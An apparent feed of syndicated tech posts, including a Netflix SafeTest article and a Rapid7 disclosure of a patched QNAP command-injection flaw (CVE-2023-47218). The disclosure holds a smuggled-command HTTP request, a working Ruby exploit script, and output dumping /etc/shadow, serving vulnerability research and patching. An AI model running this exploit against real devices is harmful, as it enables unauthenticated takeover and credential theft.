Post Syndicated from Екип на Биволъ original https://bivol.bg/gerb-gorski-video-skandal.html
В поредица от разследвания за големи нарушения в горския сектор, свързани с незаконните сечи и злоупотребите при добива на дървен материал, Биволъ разкрива корупционните схеми, които стигат до най-високите етажи…
Post Syndicated from Crosstalk Solutions original https://www.youtube.com/watch?v=Dg5ZAus6yJw
Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/introducing-safetest-a-novel-approach-to-front-end-testing-37f9f88c152d
In this post, we’re excited to introduce SafeTest, a revolutionary library that offers a fresh perspective on End-To-End (E2E) tests for web-based User Interface (UI) applications.
Traditionally, UI tests have been conducted through either unit testing or integration testing (also referred to as End-To-End (E2E) testing). However, each of these methods presents a unique trade-off: you have to choose between controlling the test fixture and setup, or controlling the test driver.
For instance, when using react-testing-library, a unit testing solution, you maintain complete control over what to render and how the underlying services and imports should behave. However, you lose the ability to interact with an actual page, which can lead to a myriad of pain points:
Conversely, using integration testing tools like Cypress or Playwright provides control over the page, but sacrifices the ability to instrument the bootstrapping code for the app. These tools operate by remotely controlling a browser to visit a URL and interact with the page. This approach has its own set of challenges:
Recognizing these challenges, solutions like E2E Component Testing have emerged, with offerings from Cypress and Playwright. While these tools attempt to rectify the shortcomings of traditional integration testing methods, they have other limitations due to their architecture. They start a dev server with bootstrapping code to load the component and/or setup code you want, which limits their ability to handle complex enterprise applications that might have OAuth or a complex build pipeline. Moreover, updating TypeScript usage could break your tests until the Cypress/Playwright team updates their runner.
SafeTest aims to address these issues with a novel approach to UI testing. The main idea is to have a snippet of code in our application bootstrapping stage that injects hooks to run our tests (see the How Safetest Works sections for more info on what this is doing). Note that how this works has no measurable impact on the regular usage of your app since SafeTest leverages lazy loading to dynamically load the tests only when running the tests (in the README example, the tests aren’t in the production bundle at all). Once that’s in place, we can use Playwright to run regular tests, thereby achieving the ideal browser control we want for our tests.
This approach also unlocks some exciting features:
SafeTest is designed to feel familiar to anyone who has conducted UI tests before, as it leverages the best parts of existing solutions. Here’s an example of how to test an entire application:
import { describe, it, expect } from 'safetest/jest';
import { render } from 'safetest/react';
describe('my app', () => {
it('loads the main page', async () => {
const { page } = await render();
await expect(page.getByText('Welcome to the app')).toBeVisible();
expect(await page.screenshot()).toMatchImageSnapshot();
});
});
We can just as easily test a specific component
import { describe, it, expect, browserMock } from 'safetest/jest';
import { render } from 'safetest/react';
describe('Header component', () => {
it('has a normal mode', async () => {
const { page } = await render(<Header />);
await expect(page.getByText('Admin')).not.toBeVisible();
});
it('has an admin mode', async () => {
const { page } = await render(<Header admin={true} />);
await expect(page.getByText('Admin')).toBeVisible();
});
it('calls the logout handler when signing out', async () => {
const spy = browserMock.fn();
const { page } = await render(<Header handleLogout={fn} />);
await page.getByText('logout').click();
expect(await spy).toHaveBeenCalledWith();
});
});
SafeTest utilizes React Context to allow for value overrides during tests. For an example of how this works, let’s assume we have a fetchPeople function used in a component:
import { useAsync } from 'react-use';
import { fetchPerson } from './api/person';
export const People: React.FC = () => {
const { data: people, loading, error } = useAsync(fetchPeople);
if (loading) return <Loader />;
if (error) return <ErrorPage error={error} />;
return <Table data={data} rows=[...] />;
}
We can modify the People component to use an Override:
import { fetchPerson } from './api/person';
+import { createOverride } from 'safetest/react';
+const FetchPerson = createOverride(fetchPerson);
export const People: React.FC = () => {
+ const fetchPeople = FetchPerson.useValue();
const { data: people, loading, error } = useAsync(fetchPeople);
if (loading) return <Loader />;
if (error) return <ErrorPage error={error} />;
return <Table data={data} rows=[...] />;
}
Now, in our test, we can override the response for this call:
const pending = new Promise(r => { /* Do nothing */ });
const resolved = [{name: 'Foo', age: 23], {name: 'Bar', age: 32]}];
const error = new Error('Whoops');
describe('People', () => {
it('has a loading state', async () => {
const { page } = await render(
<FetchPerson.Override with={() => () => pending}>
<People />
</FetchPerson.Override>
);
await expect(page.getByText('Loading')).toBeVisible();
});
it('has a loaded state', async () => {
const { page } = await render(
<FetchPerson.Override with={() => async () => resolved}>
<People />
</FetchPerson.Override>
);
await expect(page.getByText('User: Foo, name: 23')).toBeVisible();
});
it('has an error state', async () => {
const { page } = await render(
<FetchPerson.Override with={() => async () => { throw error }}>
<People />
</FetchPerson.Override>
);
await expect(page.getByText('Error getting users: "Whoops"')).toBeVisible();
});
});
The render function also accepts a function that will be passed the initial app component, allowing for the injection of any desired elements anywhere in the app:
it('has a people loaded state', async () => {
const { page } = await render(app =>
<FetchPerson.Override with={() => async () => resolved}>
{app}
</FetchPerson.Override>
);
await expect(page.getByText('User: Foo, name: 23')).toBeVisible();
});
With overrides, we can write complex test cases such as ensuring a service method which combines API requests from /foo, /bar, and /baz, has the correct retry mechanism for just the failed API requests and still maps the return value correctly. So if /bar takes 3 attempts to resolve the method will make a total of 5 API calls.
Overrides aren’t limited to just API calls (since we can use also use page.route), we can also override specific app level values like feature flags or changing some static value:
+const UseFlags = createOverride(useFlags);
export const Admin = () => {
+ const useFlags = UseFlags.useValue();
const { isAdmin } = useFlags();
if (!isAdmin) return <div>Permission error</div>;
// ...
}
+const Language = createOverride(navigator.language);
export const LanguageChanger = () => {
- const language = navigator.language;
+ const language = Language.useValue();
return <div>Current language is { language } </div>;
}
describe('Admin', () => {
it('works with admin flag', async () => {
const { page } = await render(
<UseIsAdmin.Override with={oldHook => {
const oldFlags = oldHook();
return { ...oldFlags, isAdmin: true };
}}>
<MyComponent />
</UseIsAdmin.Override>
);
await expect(page.getByText('Permission error')).not.toBeVisible();
});
});
describe('Language', () => {
it('displays', async () => {
const { page } = await render(
<Language.Override with={old => 'abc'}>
<MyComponent />
</Language.Override>
);
await expect(page.getByText('Current language is abc')).toBeVisible();
});
});
Overrides are a powerful feature of SafeTest and the examples here only scratch the surface. For more information and examples, refer to the Overrides section on the README.
SafeTest comes out of the box with powerful reporting capabilities, such as automatic linking of video replays, Playwright trace viewer, and even deep link directly to the mounted tested component. The SafeTest repo README links to all the example apps as well as the reports
Many large corporations need a form of authentication to use the app. Typically, navigating to localhost:3000 just results in a perpetually loading page. You need to go to a different port, like localhost:8000, which has a proxy server to check and/or inject auth credentials into underlying service calls. This limitation is one of the main reasons that Cypress/Playwright Component Tests aren’t suitable for use at Netflix.
However, there’s usually a service that can generate test users whose credentials we can use to log in and interact with the application. This facilitates creating a light wrapper around SafeTest to automatically generate and assume that test user. For instance, here’s basically how we do it at Netflix:
import { setup } from 'safetest/setup';
import { createTestUser, addCookies } from 'netflix-test-helper';
type Setup = Parameters<typeof setup>[0] & {
extraUserOptions?: UserOptions;
};
export const setupNetflix = (options: Setup) => {
setup({
...options,
hooks: { beforeNavigate: [async page => addCookies(page)] },
});
beforeAll(async () => {
createTestUser(options.extraUserOptions)
});
};
After setting this up, we simply import the above package in place of where we would have used safetest/setup.
While this post focused on how SafeTest works with React, it’s not limited to just React. SafeTest also works with Vue, Svelte, Angular, and even can run on NextJS or Gatsby. It also runs using either Jest or Vitest based on which test runner your scaffolding started you off with. The examples folder demonstrates how to use SafeTest with different tooling combinations, and we encourage contributions to add more cases.
At its core, SafeTest is an intelligent glue for a test runner, a UI library, and a browser runner. Though the most common usage at Netflix employs Jest/React/Playwright, it’s easy to add more adapters for other options.
SafeTest is a powerful testing framework that’s being adopted within Netflix. It allows for easy authoring of tests and provides comprehensive reports when and how any failures occurred, complete with links to view a playback video or manually run the test steps to see what broke. We’re excited to see how it will revolutionize UI testing and look forward to your feedback and contributions.
Introducing SafeTest: A Novel Approach to Front End Testing was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.
Post Syndicated from BeardedTinker original https://www.youtube.com/watch?v=RAZmA627KSo
Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/
Rapid7 has identified an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and QuTS hero. QTS is a core part of the firmware for numerous QNAP entry- and mid-level Network Attached Storage (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices. The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature. The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully initialized, the quick.cgi component is disabled on the system.
An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection, allowing the attacker to execute arbitrary commands on the device.
This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
CVE-2023-47218 has been addressed in multiple versions of QTS, QuTS hero and QuTScloud. QNAP prioritizes security, actively partnering with esteemed researchers like Rapid7 to promptly address and rectify vulnerabilities, ensuring the safety of our customers. For more information, please see: https://www.qnap.com/en/security-advisory/qsa-23-57
Dedicated to excellence, QNAP (Quality Network Appliance Provider) offers holistic solutions encompassing software development, hardware design, and in-house manufacturing. Beyond mere storage, QNAP envisions NAS as a robust platform, facilitating cloud-based networking for users to seamlessly host and advance artificial intelligence analysis, edge computing, and data integration on their QNAP solutions.
QNAP released a fix for this vulnerability on January 25, 2024. According to QNAP, the following versions remediate the issue:
QTS 5.1.5.2645 build 20240116 and laterQuTS hero h5.1.5.2647 build 20240118 and laterFor more details please read the QNAP security advisory.
QNAP have provided the following remediation guidelines:
To secure your QNAP NAS, we recommend regularly updating your system to the latest version to benefit from vulnerability fixes. You can check the product support status to see the latest updates available to your NAS model.
During our analysis we targeted the QTS based firmware, version 5.1.2.2533 for a QNAP TS-464 NAS device. We extracted the file system using the following steps:
user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.zip
# Unzip the firmware.
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip
Archive: TS-X64_20230926-5.1.2.2533.zip
inflating: TS-X64_20230926-5.1.2.2533.img
user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.zip
# Decrypt the firmware using the tool qnap-qts-fw-cryptor.
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev:~/qnap/$ ls
qnap-qts-fw-cryptor.py TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz TS-X64_20230926-5.1.2.2533.zip
# Recreate the root file system.
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
When decompiling the /home/httpd/cgi-bin/quick/quick.cgi binary, we can see a function switch_os can be called if an HTTP parameter named func has a value switch_os.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 Input; // rax
__int64 input; // rbp
_BOOL4 v5; // ebx
__int64 func_param; // rax
__int64 func_param_; // r12
bool v8; // zf
unsigned int v9; // ebp
__int64 todo_param; // rbx
sub_415C82(1LL, a2, a3);
dword_630794 = sub_415F8B();
dword_630790 = sub_415F41();
dword_63079C = sub_415F1E();
Input = CGI_Get_Input();
input = Input;
if ( Input )
{
func_param = CGI_Find_Parameter(Input, (char *)"func");
func_param_ = func_param;
if ( func_param )
{
v8 = strcmp(*(const char **)(func_param + 8), "main") == 0;
v5 = !v8;
if ( v8 )
{
v9 = rand();
puts("301 Moved Permanently");
printf("Location: /cgi-bin/quick/html/index.html?count=%d\n", v9);
return v5;
}
if ( !CGI_Find_Parameter(input, "todo") )
goto LABEL_6;
todo_param = CGI_Find_Parameter(input, "todo");
if ( !strcmp(*(const char **)(func_param_ + 8), "switch_os") )
{
if ( (unsigned int)switch_os(*(_QWORD *)(todo_param + 8), input) ) // <---
The switch_os function will call a function uploaf_firmware_image if an HTTP parameter named todo has a value of uploaf_firmware_image.
__int64 __fastcall switch_os(const char *todo_param, const char *input)
{
__int64 os_name_param; // rax
__int64 v3; // rbx
FILE *v4; // rax
FILE *v5; // rbp
const char *v6; // rax
char *v7; // rbp
__int64 v8; // rdx
__int64 result; // rax
__int64 v10; // rdx
char os_name[32]; // [rsp+0h] [rbp-38h] BYREF
memset(os_name, 0, sizeof(os_name));
os_name_param = CGI_Find_Parameter((__int64)input, "os_name");
if ( os_name_param )
strncpy(os_name, *(const char **)(os_name_param + 8), 31uLL);
if ( !strcmp(todo_param, "uploaf_firmware_image") )
{
v3 = uploaf_firmware_image(); // <---
In the function uploaf_firmware_image, we can see a helper function CGI_Upload is used to read a value from the CGI request into a local variable called file_name below.
__int64 uploaf_firmware_image()
{
//...snip...
if ( (unsigned int)CGI_Upload((__int64)"/mnt/update", 0LL, (__int64)file_name) ) // <---
return json_pack(
"{si si ss}",
4341610LL,
200LL,
"error_code",
4LL,
"error_message",
"upload full_path_filename fail.");
sprintf(file, "%s/%s", "/mnt/update", file_name); // <---
if ( chmod(file, 436u) < 0 )
return json_pack(
"{si si ss}",
4341610LL,
200LL,
"error_code",
5LL,
"error_message",
"upload full_path_filename fail.");
if ( !fork() )
{
v2 = open("/dev/null", 2);
if ( v2 != -1 )
{
close(0);
dup2(v2, 0);
close(1);
dup2(v2, 1);
close(2);
dup2(v2, 2);
close(v2);
}
sprintf(buf266, "echo 0 > %s", "/tmp/update_process");
system(buf266);
sprintf(buf266, "/usr/share/updater/update_fw -f \"%s\"", file); // <---
if ( system(buf266) ) // <--- command injection.
{
Set_Private_Profile_Integer("Switch OS", "Step00 Status", 7LL, "/tmp/quick_tmp.conf");
}
We can see above that the value extracted by CGI_Upload will be used to construct an OS command, which is then passed to a call to system to execute the command. If an attacker can supply a double quote character in the file name string, a command injection vulnerability can be achieved.
To understand how an attacker can achieve this, we must examine CGI_Upload from the \usr\lib\libuLinux_fcgi.so.0.0 binary. CGI_Upload will call cgi_save_file_ex to extract several fields from a POST request’s multipart form data.
__int64 __fastcall cgi_save_file_ex(__int64 a1, char *a2, int a3)
{
// ...snip...
CGI_Get_Http_Info(&dest);
// ...snip...
strtok(v36, ";");
strtok(0LL, ";");
v18 = strtok(0LL, "\n");
if ( v18 )
snprintf(v36, 0x1000uLL, "%s", v18);
strtok(v36, "\"");
v19 = strtok(0LL, "\"");
if ( v19 )
strncpy(a2, v19, n);
if ( dest.useragent_type == 3 ) // <---
trans_http_str((__int64)a2, (__int64)a2, 1LL); // <---
The call to CGI_Get_Http_Info at the beginning of the function will retrieve some metadata about the request. The form field values are extracted (we have omitted most of the logic here for brevity). When storing an extracted field value, a check is done against the requested metadata, and if the user agent was given an enum value of 3, a special call to trans_http_str will occur. The function trans_http_str will URL decode any value we pass it, e.g. %22 will be decoded to a double quote character. This will allow an attacker to escape the command string in the function uploaf_firmware_image and achieve command injection.
To understand why the metadata’s user agent type may be set to 3, we can examine the function CGI_Get_Http_Info, as shown below.
char *__fastcall CGI_Get_Http_Info(struct_dest *dest)
{
// ...snip…
v10 = (const char *)QFCGI_getenv("HTTP_USER_AGENT");
v11 = v10;
if ( !v10 )
{
LABEL_29:
dest->useragent_type = 0;
goto LABEL_16;
}
if ( strstr(v10, "Safari") )
{
dest->useragent_type = 7;
goto LABEL_16;
}
if ( !strstr(v11, "MSIE") )
{
if ( strstr(v11, "Mozilla") )
{
if ( strstr(v11, "Macintosh") )
dest->useragent_type = 3; // <---
else
dest->useragent_type = strstr(v11, "Linux") == 0LL ? 4 : 6;
goto LABEL_16;
}
goto LABEL_29;
}
We can see that if the HTTP request’s user agent contains both the string “Mozilla” and the string “Macintosh”, then the user agent type will be set to 3.
We can therefore exploit this vulnerability with an HTTP POST request that looks like this:
POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
Content-Length: 164
Content-Type: multipart/form-data;boundary="avssqwfz"
--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
Content-Type: text/plain
skfqduny
--avssqwfz–
Note the use of the URL encoded double quote %22 to perform the command injection, followed by the execution of a base64 encoded command (“id” in the example above). Finally, we can see the requested user agent is “Mozilla Macintosh” to enable the URL decoding of multipart form fields.
The following is a Ruby proof-of-concept exploit called qnap_hax.rb that can be used to successfully exploit a vulnerable target.
require 'optparse'
require 'base64'
require 'socket'
def log(txt)
$stdout.puts txt
end
def rand_string(len)
(0...len).map {'a'.ord + rand(26)}.pack('C*')
end
def send_http_data(ip, port, data)
s = TCPSocket.open(ip, port)
s.write(data)
result = ''
while line = s.gets
result << line
end
s.close
return result
end
def hax_single_command(ip, port, cmd, read_output=true, output_file_name='a')
payload = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d)"
if read_output
payload << ">#{output_file_name}"
end
payload << ")\""
payload.gsub!("\"", '%22')
payload.gsub!(";", '%3B')
if payload.length > 127
log "[-] Error, the command is too long (#{payload.length}), must be < 128 bytes."
return false
end
boundary = rand_string(8)
txt = "--#{boundary}\r\n"
txt << "Content-Disposition: form-data; #{rand_string(8)}=\"field2\"; #{rand_string(8)}=\"#{payload}\"\r\n"
txt << "Content-Type: text/plain\r\n"
txt << "\r\n"
txt << "#{rand_string(8)}\r\n"
txt << "--#{boundary}--\r\n"
body = "POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1\r\n"
body << "Host: #{ip}:#{port}\r\n"
body << "User-Agent: Mozilla Macintosh\r\n"
body << "Accept: */*\r\n"
body << "Content-Length: #{txt.bytesize}\r\n"
body << "Content-Type: multipart/form-data;boundary=\"#{boundary}\"\r\n"
body << "\r\n"
body << txt
result = send_http_data(ip, port, body)
if result&.match? /HTTP\/1\.\d 200 OK/
log "[+] Success, executed command: #{cmd}"
else
log "[-] Failed to execute command: #{cmd}"
log result
return false
end
if read_output
result = send_http_data(ip, port, "GET /cgi-bin/quick/#{output_file_name} HTTP/1.1\r\nHost: #{ip}:#{port}\r\nAccept: */*\r\n\r\n")
if result&.match? /HTTP\/1\.\d 200 OK/
found_content = false
result.lines.each do |line|
if line == "\r\n"
found_content = true
next
end
log line if found_content
end
else
log "[-] Failed to read back output."
log result
return false
end
end
return true
end
def hax(options)
log "[+] Targeting: #{options[:ip]}:#{options[:port]}"
output_file_name = 'a'
return unless hax_single_command(options[:ip], options[:port], options[:cmd], true, output_file_name)
return unless hax_single_command(options[:ip], options[:port], "rm -f #{output_file_name}", false, output_file_name)
return unless hax_single_command(options[:ip], options[:port], 'rm -f /mnt/HDA_ROOT/update/*', false, output_file_name)
end
options = {}
OptionParser.new do |opts|
opts.banner = "Usage: hax1.rb [options]"
opts.on("-t", "--target TARGET", "Target IP") do |v|
options[:ip] = v
end
opts.on("-p", "--port PORT", "Target Port") do |v|
options[:port] = v.to_i
end
opts.on("-c", "--cmd COMMAND", "Command to execute") do |v|
options[:cmd] = v
end
end.parse!
unless options.key? :ip
log '[-] Error, you must pass a target IP: -t TARGET'
return
end
unless options.key? :port
log '[-] Error, you must pass a target port: -p PORT'
return
end
unless options.key? :cmd
log '[-] Error, you must pass a command to execute: -c COMMAND'
return
end
log "[+] Starting..."
hax(options)
log "[+] Finished."
To verify this vulnerability, after manually extracting the firmware, we used the QEMU emulator to run the built-in web server. As the vulnerable component quick.cgi is present in an uninitialized system, we manually enabled the feature, allowing a remote attacker to access the vulnerable CGI script over HTTP.
We performed the following steps to run the builtin web server _httpd_ via QEMU, and enable the vulnerable quick.cgi component.
user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
# Copy the qemu-x86_64-static binary into the root file system folder.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
# Run _thttpd_ via QEMU.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080 -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
# Verify the HTTP server is running.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1195417/./qemu-x86_
# Drop to a shell via QEMU...
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
# Enable the component quick.cgi
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
# Fix a linker issue with QEMU.
sh-3.2# rm /lib/libnl-3.so.200
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
# This folder will be present in a NAS device containing a hard drive.
sh-3.2# mkdir /mnt/HDA_ROOT
Finally, to verify the vulnerability, from a remote machine we ran the exploit script qnap_hax.rb against the remote target, and successfully executed arbitrary OS commands.
>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c id
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: id
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.
>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c "cat /etc/shadow"
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: cat /etc/shadow
admin:$1$$CoERg7ynjYLdj2j4glJ34.:14233:0:99999:7:::
guest:$1$$ysap7EeB9ODCtO46Psdbq/:14233:0:99999:7:::
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.
An unauthenticated vulnerability check for CVE-2023-47218 will be available to InsightVM and Nexpose customers as of the February 13, 2024 content release.
Post Syndicated from Eric Smith original https://www.servethehome.com/backblaze-releases-2023-hard-drive-reliability-stats-for-35-models-seagate-hgst-toshiba-wd/
In the face of increasing failure rates, Backblaze releases its 2023 hard drive reliability stats for 35 models and over 250K drives
The post Backblaze Releases 2023 Hard Drive Reliability Stats for 35 Models appeared first on ServeTheHome.
Post Syndicated from LWN.net original https://lwn.net/Articles/961117/
The dynamic linker is a critical component of modern Linux systems, being
responsible for setting up the address space of most processes. While statically
linked binaries have become more popular over time as the tradeoffs that
originally led to dynamic linking become less relevant, dynamic linking is still
the default. This article looks at what steps the dynamic linker takes to
prepare a program for execution.
Post Syndicated from LWN.net original https://lwn.net/Articles/961937/
Security updates have been issued by Fedora (clamav and virtiofsd), Oracle (gimp), Red Hat (gnutls and nss), SUSE (kubevirt, virt-api-container, virt-controller-container, virt-exportproxy-container, virt-exportserver-container, virt-handler-container, virt-launcher-container, virt-libguestfs-t and squid), and Ubuntu (openssl).
Post Syndicated from Yo'av Moshe http://blog.cloudflare.com/author/yoav/ original https://blog.cloudflare.com/enhancing-zaraz-support-introducing-certified-developers
Setting up Cloudflare Zaraz on your website is a great way to load third-party tools and scripts, like analytics or conversion pixels, while keeping things secure and performant. The process can be a breeze if all you need is just to add a few tools to your website, but If your setup is complex and requires using click listeners, advanced triggers and variables, or, if you’re migrating a substantial container from Google Tag Manager, it can be quite an undertaking. We want to make sure customers going through this process receive all the support they need.
Historically, we’ve provided hands-on support and maintenance for Zaraz customers, helping them navigate the intricacies of this powerful tool. However, as Zaraz’s popularity continues to surge, providing one-on-one support has become increasingly impractical.
Companies usually rely on agencies to manage their tags and marketing campaigns. These agencies often have specialized knowledge, can handle diverse client needs efficiently, scale resources as required, and may offer cost advantages compared to maintaining an in-house team. That’s why we’re thrilled to announce the launch of the first round of certified Zaraz developers, aligning with the way other Tag Management software works. Our certified developers have undergone an intensive training program and passed an examination to prove their in-depth knowledge of Cloudflare Zaraz, including all the ins-and-outs of the tool.
These certified developers are now available to assist you with everything related to Zaraz, whether it’s migration, configuration, or ongoing support. They are well-equipped to ensure that you get the most out of your Zaraz experience, and they have a direct line of communication with the Cloudflare Zaraz team when a need arises.
Our list of certified developers includes:
We’re also pleased to mention that the majority of the course materials used for training are available online for free. You can explore these resources in our YouTube playlist for the Zaraz Developer Certification Program and empower yourself with the knowledge you need to make the most of Zaraz. The videos total more than 4 hours of deep dive into many areas of how to use Zaraz in the best way.
In conclusion, our new certified developers play a significant role in extending the ecosystem for Zaraz. We started this process by empowering developers to write their own integrations by open-sourcing the Managed Components technology, and we’re now pushing to make Zaraz an even better choice for enterprises and big websites. We encourage you to leverage the Certified Developers expertise to streamline your Zaraz experience, and to explore the wealth of free educational materials at your disposal.
Post Syndicated from Andy Klein original https://www.backblaze.com/blog/backblaze-drive-stats-for-2023/
As of December 31, 2023, we had 274,622 drives under management. Of that number, there were 4,400 boot drives and 270,222 data drives. This report will focus on our data drives. We will review the hard drive failure rates for 2023, compare those rates to previous years, and present the lifetime failure statistics for all the hard drive models active in our data center as of the end of 2023. Along the way we share our observations and insights on the data presented and, as always, we look forward to you doing the same in the comments section at the end of the post.
As of the end of 2023, Backblaze was monitoring 270,222 hard drives used to store data. For our evaluation, we removed 466 drives from consideration which we’ll discuss later on. This leaves us with 269,756 hard drives covering 35 drive models to analyze for this report. The table below shows the Annualized Failure Rates (AFRs) for 2023 for this collection of drives.
One zero for the year: In 2023, only one drive model had zero failures, the 8TB Seagate (model: ST8000NM000A). In fact, that drive model has had zero failures in our environment since we started deploying it in Q3 2022. That “zero” does come with some caveats: We have only 204 drives in service and the drive has a limited number of drive days (52,876), but zero failures over 18 months is a nice start.
Failures for the year: There were 4,189 drives which failed in 2023. Doing a little math, over the last year on average, we replaced a failed drive every two hours and five minutes. If we limit hours worked to 40 per week, then we replaced a failed drive every 30 minutes.
More drive models: In 2023, we added six drive models to the list while retiring zero, giving us a total of 35 different models we are tracking.
Two of the models have been in our environment for a while but finally reached 60 drives in production by the end of 2023.
Four of the models were new to our production environment and have 60 or more drives in production by the end of 2023.
The drives for the three Seagate models are used to replace failed 12TB and 14TB drives. The 22TB WDC drives are a new model added primarily as two new Backblaze Vaults of 1,200 drives each.
There was a time when we purchased extra drives of a given model to have on hand so we could replace a failed drive with the same drive model. For example, if we needed 1,200 drives for a Backblaze Vault, we’d buy 1,300 to get 100 spares. Over time, we tested combinations of different drive models to ensure there was no impact on throughput and performance. This allowed us to purchase drives as needed, like the Seagate drives noted previously. This saved us the cost of buying drives just to have them hanging around for months or years waiting for the same drive model to fail.
We noted earlier there were 466 drives we removed from consideration in this review. These drives fall into three categories.
Regardless, in the Q4 2023 Drive Stats data you will find these 466 drives along with the data for the 269,756 drives used in the review.
The table below compares the AFR for each of the last three years. The table includes just those drive models which had over 200,000 drive days during 2023. The data for each year is inclusive of that year only for the operational drive models present at the end of each year. The table is sorted by drive size and then AFR.
What’s missing?: As noted, a drive model required 200,000 drive days or more in 2023 to make the list. Drives like the 22TB WDC model with 126,956 drive days and the 8TB Seagate with zero failures, but only 52,876 drive days didn’t qualify. Why 200,000? Each quarter we use 50,000 drive days as the minimum number to qualify as statistically relevant. It’s not a perfect metric, but it minimizes the volatility sometimes associated with drive models with a lower number of drive days.
The 2023 AFR was up: The AFR for all drives models listed was 1.70% in 2023. This compares to 1.37% in 2022 and 1.01% in 2021. Throughout 2023 we have seen the AFR rise as the average age of the drive fleet has increased. There are currently nine drive models with an average age of six years or more. The nine models make up nearly 20% of the drives in production. Since Q2, we have accelerated the migration from older drive models, typically 4TB in size, to new drive models, typically 16TB in size. This program will continue throughout 2024 and beyond.
Now, let’s dig into the numbers to see what else we can learn. We’ll start by looking at the quarterly AFRs by drive size over the last three years.
To start, the AFR for 10TB drives (gold line) are obviously increasing, as are the 8TB drives (gray line) and the 12TB drives (purple line). Each of these groups finished at an AFR of 2% or higher in Q4 2023 while starting from an AFR of about 1% in Q2 2021. On the other hand, the AFR for the 4TB drives (blue line) rose initially, peaking in 2022 and has decreased since. The remaining three drive sizes—6TB, 14TB, and 16TB—have oscillated around 1% AFR for the entire period.
Zooming out, we can look at the change in AFR by drive size on an annual basis. If we compare the annual AFR results for 2022 to 2023, we get the table below. The results for each year are based only on the data from that year.
At first glance it may seem odd that the AFR for 4TB drives is going down. Especially given the average age of each of the 4TB drives models is over six years and getting older. The reason is likely related to our focus in 2023 on migrating from 4TB drives to 16TB drives. In general we migrate the oldest drives first, that is those more likely to fail in the near future. This process of culling out the oldest drives appears to mitigate the expected rise in failure rates as a drive ages.
But, not all drive models play along. The 6TB Seagate drives are over 8.6 years old on average and, for 2023, have the lowest AFR for any drive size group potentially making a mockery of the age-is-related-to-failure theory, at least over the last year. Let’s see if that holds true for the lifetime failure rate of our drives.
We evaluated 269,756 drives across 35 drive models for our lifetime AFR review. The table below summarizes the lifetime drive stats data from April 2013 through the end of Q4 2023.
The current lifetime AFR for all of the drives is 1.46%. This is up from the end of last year (Q4 2022) which was 1.39%. This makes sense given the quarterly rise in AFR over 2023 as documented earlier. This is also the highest the lifetime AFR has been since Q1 2021 (1.49%).
The table above contains all of the drive models active as of 12/31/2023. To declutter the list, we can remove those models which don’t have enough data to be statistically relevant. This does not mean the AFR shown above is incorrect, it just means we’d like to have more data to be confident about the failure rates we are listing. To that end, the table below only includes those drive models which have two million drive days or more over their lifetime, this gives us a manageable list of 23 drive models to review.
